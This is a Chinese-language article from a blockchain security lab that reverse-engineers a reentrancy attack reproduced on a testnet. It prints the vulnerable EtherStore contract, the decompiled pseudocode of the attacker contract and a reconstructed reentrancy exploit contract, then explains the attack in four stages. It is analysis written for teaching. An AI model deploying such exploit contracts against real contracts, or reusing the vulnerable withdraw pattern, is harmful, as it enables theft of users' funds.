不一样的智能合约安全视角——solidity逆向
摘要: 近年来区块链安全事件频发,黑客的攻击手法也在不断发生改变,要想更深入的了解各式各样的攻击背后的原理以及黑客攻击的逻辑,智能合约逆向工程必不可少。
前言
近年来在区块链不断蓬勃、发展壮大的同时,区块链安全事件频频发生,黑客们的手法也在不断发生着变化,要想更加深入的了解各式各样的攻击背后的原理以及黑客攻击的逻辑,智能合约逆向工程必不可少。对此,知道创宇区块链安全实验室 进行了研究分析。
通常我们所说的智能合约都是存在区块链上,可以被触发执行的一段程序代码,由于区块链上所有的数据都是公开透明的,所以合约的代码也应该是公开的。
但实际上它公开的却是经过编译的 OPCODE,真正的源代码需要发布合约的人自己公开。当合约源代码没有被公开,而我们又想对其进行深刻的了解时,可以借助工具将OPCODE逆向成类似于逻辑代码的伪代码和字节码来辅助。
本篇文章主要涉及由 solidity 语言编写的智能合约逆向之伪代码分析。
安全事件逆向分析
为贴切现实,也便于理解,本文选择测试网络进行一次重入漏洞攻击复现的逆向分析,重入漏洞原理具体可参考文章【知道创宇区块链安全实验室|深入理解重入攻击漏洞】。
0x01 信息收集
漏洞合约 地址
https://ropsten.etherscan.io/address/0x8872be6d31f2ec0169e5e3e69e5cae8823d358af
漏洞合约 源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.17;
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {// 该函数存在重入漏洞,具体原因是使用call函数转账,且call函数转账发生在合约状态更新之前
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawaLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
通过查看漏洞合约内部交易哈希 发现
可疑地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40
与
交易哈希 0x80270b685344fc5005f4969ef6bd545a614cd6e2fc92b9508cfed5266368062f
查看交易哈希发现可疑地址在向漏洞合约发送 1eth 后,收到来自漏洞合约的转账 1eth 足足 5 次,
查看攻击合约地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40
发现该地址值调用过两个函数
结合 交易哈希 1eth 特征可以判断攻击合约就是通过 0x6289d385
函数发起进攻的,Collect Ether
函数应该是取款功能
攻击合约的 OPCODE
0x02 对 OPCODE 进行逆向分析
工欲善其事,必先利其器solidity智能合约逆向工具推荐:
https://github.com/crytic/ida-evm
https://github.com/comaeio/porosity
https://github.com/meyer9/ethdasm
这里我选择工具 https://ethervm.io/decompile
得到的 伪代码
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) {
label_0057:
if (address(storage[0x00] &
0xffffffffffffffffffffffffffffffffffffffff).balance <=
0x0de0b6b3a7640000) { stop(); }
var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var var1 = 0x155dd5ee;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;
var var2 = temp1 + 0x20;
var var3 = 0x00;
var var4 = memory[0x40:0x60];
var var5 = var2 - var4;
var var6 = var4;
var var7 = 0x00;
var var8 = var0;
var var9 = !address(var8).code.length;
if (var9) { revert(memory[0x00:0x00]); }
var temp2;
temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp2;
if (!var3) { stop(); }
var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);
} else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x6289d385) {
// Dispatch table entry for 0x6289d385 (unknown)
var1 = 0x015a;
func_01CA();
stop();
} else if (var0 == 0xacd2e6e5) {
// Dispatch table entry for 0xacd2e6e5 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0171;
var2 = func_0339();
var temp4 = memory[0x40:0x60];
memory[temp4:temp4 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp5 = memory[0x40:0x60];
return memory[temp5:temp5 + (temp4 + 0x20) - temp5];
} else if (var0 == 0xff11e1db) {
// Dispatch table entry for collectEther()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01c8;
collectEther();
stop();
} else { goto label_0057; }
}
}
function func_01CA() {
if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }
var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var var1 = 0xe2c41dbc;
var var2 = 0x0de0b6b3a7640000;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var var3 = temp0 + 0x04;
var var4 = 0x00;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = var2;
var var9 = var0;
var var10 = !address(var9).code.length;
if (var10) { revert(memory[0x00:0x00]); }
var temp1;
temp1, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp1;
if (!var4) {
var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
var1 = 0x155dd5ee;
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp3 = temp2 + 0x04;
memory[temp3:temp3 + 0x20] = 0x0de0b6b3a7640000;
var2 = temp3 + 0x20;
var3 = 0x00;
var4 = memory[0x40:0x60];
var5 = var2 - var4;
var6 = var4;
var7 = 0x00;
var8 = var0;
var9 = !address(var8).code.length;
if (var9) { revert(memory[0x00:0x00]); }
var temp4;
temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp4;
if (!var3) { return; }
var temp5 = returndata.length;
memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
revert(memory[0x00:0x00 + returndata.length]);
} else {
var temp6 = returndata.length;
memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_0339() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
function collectEther() {
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] =
address(msg.sender).call.gas(!temp0 *
0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) { return; }
var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);
}
}
先从主函数进行分析
开辟空间
memory[0x40:0x60] = 0x80;
如果消息发送者携带消息长度小于0x04执行后面的内容,一般是回退函数
if (msg.data.length < 0x04){
地址余额小于等于 1eth 停止执行
if (address(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff).balance <= 0x0de0b6b3a7640000) { stop(); }
接下来一段主要设置后续操作需要的信息,主要内容有 地址、需要调用的函数签名、1eth值、地址空代码
var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;//地址
var var1 = 0x155dd5ee;//需要调用的函数签名
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = 0x0de0b6b3a7640000;//1eth值
var var2 = temp1 + 0x20;
var var3 = 0x00;
var var4 = memory[0x40:0x60];
var var5 = var2 - var4;
var var6 = var4;
var var7 = 0x00;
var var8 = var0;
var var9 = !address(var8).code.length;//地址空代码
对地址是否为空代码的判断,如果是回滚初始状态
if (var9) { revert(memory[0x00:0x00]); }
向地址发送值为1eth的 0x155dd5ee
函数调用信息,并返回信息
var temp2;
temp2, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp2;
if (!var3) { stop(); }
var temp3 = returndata.length;
memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
revert(memory[0x00:0x00 + returndata.length]);
接收消息调用者携带的信息
else {
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
后面的代码内容基本就是通过消息调用者携带的信息判断调用的函数,其中没有if (var1) { revert(memory[0x00:0x00]); }
的函数能接收以太币。
函数func_01CA()
消息调用者携带的金额价值小于 1eth 回滚初始状态
if (msg.value < 0x0de0b6b3a7640000) { revert(memory[0x00:0x00]); }
接下来的代码与回退函数内容极其相似就是调用函数,从内容上看这次它调用了两个函数分别是0xe2c41dbc
, 0x155dd5ee
在调用 0xe2c41dbc
函数的时候信息 value 1eth data 0
在调用 0x155dd5ee
函数的时候信息 value 0 data 1eth
最后返回调用信息。
函数func_0339()
返回地址信息
return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
函数collectEther()
设置信息,该合约余额 、新空间
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
向消息调用者发送该合约余额,注意这里对gas做了限制 (!temp0 * 0x08fc)
其实这里包括后面的代码就是transfer()的功能
temp2, memory[temp1:temp1 + 0x00] =
address(msg.sender).call.gas(!temp0 *
0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) { return; }
最后返回调用信息。
还原代码
其实我们可以通过 https://www.4byte.directory/ 在线查询 函数签名对应的函数名称,有助于我们理解函数。
contract At{
function func_0339() public returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_01CA() public payable{
require(msg.value >= 1 ether);
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.depositFunds.value(1 ether)();
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
function () payable {
if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.balance > 1 ether) {
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1 eth);
}
}
}
storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff
其实等价于漏洞合约地址
0x8872bE6d31F2Ec0169e5E3E69e5CAe8823d358aF
0x03 综合分析
总结攻击流程
第一阶段 黑客调用 func_01CA
函数,
func_01CA
函数作用:
1.向漏洞合约的 depositFunds
函数发送 1eth
2.向漏洞合约的 withdrawFunds
函数发出撤走 1eth 的请求
第二阶段 当漏洞合约的 withdrawFunds
函数 进入到发送金额的时候 由于使用的是 call 函数 转账,会附加"所有可用 gas",并触发攻击合约的 fallback函数
第三阶段 当攻击合约的 fallback
函数 被触发后,首先会对漏洞合约的余额进行判断,如果大于 1eth 就重新调用漏洞合约的 withdrawFunds
函数 ,由于withdrawFunds
函数最后两步才会减去msg.sender
对应的余额并记录,导致fallback
函数发起的调用withdrawFunds
函数的信息require判断都能通过,直到漏洞合约的余额小于等于 1eth。
第四阶段 黑客调用 collectEther
函数 取走攻击合约余额。
总结
近年来,智能合约逆向不仅仅出现在区块链安全事件分析中,现在也出现在各个大型CTF比赛中的区块链攻防上。智能合约逆向能很好的帮助我们在一些未公开智能合约代码中找到它的运行逻辑,再辅助以交易哈希,就能从蛛丝马迹中找到我们想要的答案。
作者:创宇区块链安全实验室;来自链得得内容开放平台“得得号”,本文仅代表作者观点,不代表链得得官方立场凡“得得号”文章,原创性和内容的真实性由投稿人保证,如果稿件因抄袭、作假等行为导致的法律后果,由投稿人本人负责得得号平台发布文章,如有侵权、违规及其他不当言论内容,请广大读者监督,一经证实,平台会立即下线。如遇文章内容问题,请联系微信:chaindd123。
评论(0)
Oh! no
您是否确认要删除该条评论吗?